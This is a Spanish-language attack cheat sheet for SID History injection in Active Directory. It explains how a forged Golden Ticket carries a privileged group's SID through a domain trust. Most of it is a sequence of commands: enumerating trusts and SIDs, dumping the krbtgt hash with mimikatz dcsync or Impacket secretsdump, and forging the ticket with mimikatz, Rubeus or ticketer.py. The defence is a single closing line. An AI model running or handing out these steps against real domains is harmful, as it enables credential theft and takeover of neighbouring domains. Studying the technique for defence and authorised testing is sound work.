Qué es
La inyección de SID History mete el SID de un grupo privilegiado dentro de un ticket Kerberos falsificado. La cuenta usa esos permisos sin pertenecer al grupo. Así un dominio comprometido cruza una confianza y manda en el dominio vecino.
Cómo funciona
Active Directory trata un SID del campo sidHistory como una membresía real.
Si el SID da acceso, la cuenta lo recibe.
Dentro de un ticket Kerberos, esos SID viajan en el campo ExtraSids del PAC. El Domain Controller arma el PAC y tú no lo tocas. Pero un Golden Ticket lo forjas tú con la clave krbtgt. Entonces tú escribes el PAC, incluido ExtraSids.
Necesitas la clave krbtgt del dominio donde forjas. Eso significa que ya comprometiste ese dominio a fondo.
Metes el SID de un grupo privilegiado en ExtraSids. Cada recurso que lee el ticket te trata como miembro de ese grupo.
El filtrado de SID debería quitar los SID ajenos al cruzar una confianza. Por defecto solo quita los que tienen un RID menor a 1000. Un grupo privilegiado personalizado tiene un RID de 1000 o mayor. Su SID pasa intacto.
Comandos
Variante sin forja: busca cuentas que ya cargan un SID en sidHistory.
Get-ADUser -Filter "SIDHistory -like '*'" -Properties SIDHistory | Select-Object Name,SIDHistoryConfirma que la confianza honra SID history (marca TREAT_AS_EXTERNAL):
Get-DomainTrust -Domain <DOMAIN>Enumera el dominio destino para localizar el grupo privilegiado:
SharpHound.exe -c All -d <DOMAIN>Desde Linux, lista los SID y sus RID con Impacket:
lookupsid.py <DOMAIN>/<USER>:<PASSWORD>@<IP>Saca el hash de krbtgt del dominio donde vas a forjar. Con mimikatz:
lsadump::dcsync /domain:<DOMAIN> /user:<DOMAIN>\krbtgtLo mismo con Impacket:
secretsdump.py <DOMAIN>/<USER>:<PASSWORD>@<IP> -just-dc-user krbtgtForja el ticket con el SID del grupo (<SID-GRUPO>) inyectado en ExtraSids.
Con mimikatz:
kerberos::golden /user:<USER> /domain:<DOMAIN> /sid:<SID> /krbtgt:<HASH> /sids:<SID-GRUPO> /pttCon Rubeus, en Windows:
Rubeus.exe golden /rc4:<HASH> /user:<USER> /domain:<DOMAIN> /sid:<SID> /sids:<SID-GRUPO> /pttCon Impacket, desde Linux:
ticketer.py -nthash <HASH> -domain-sid <SID> -domain <DOMAIN> -extra-sid <SID-GRUPO> <USER>Cómo defenderse
Rota la contraseña de krbtgt dos veces: cada Golden Ticket, con SID inyectado o sin él, muere cuando krbtgt cambia.